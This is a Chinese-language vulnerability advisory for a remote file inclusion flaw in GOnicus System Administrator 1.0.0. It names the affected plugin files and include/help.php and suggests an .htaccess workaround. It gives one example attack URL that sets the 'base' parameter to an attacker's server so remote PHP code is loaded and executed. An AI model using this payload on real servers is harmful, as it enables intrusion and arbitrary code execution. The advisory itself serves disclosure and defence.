涉及程序： GOnicus System Administrator 1.0.0版 描述： GOnicus System Administrator 存在PHP注入缺陷 详细： GOnicus System Administrator是一款PHP管理工具，用于管理LDAP数据库的帐户和系统。远程攻击者能在GOnicus System Administrator中注入任意PHP代码，通过更改几个变量，攻击者能在WEB服务器上执行任意代码。 通过在下列文档中设置plugin变量，攻击者能包含并执行远程文件： plugins/3fax/1blocklists/index.php plugins/2administration/6departamentadmin/index.php plugins/2administration/5terminals/index.php plugins/2administration/4mailinglists/index.php plugins/2administration/3departaments/index.php plugins/2administration/2groupd/index.php include/help.php文件也存在同样问题。攻击者提供恶意URL，导致用户从攻击者服务器上装载包含恶意代码的include/common.inc文件，并以WEB权限执行文件中包含的恶意代码。 攻击方法： 示例代码： http://target.server/include/help.php?base=http://attackers.server/ 解决方案： 目前厂商未公布该缺陷补丁，请用户及时关注厂商站点： http://www.gonicus.de 临时解决方案： 对所有包含.php文件的子目录通过.htaccess进行访问限制。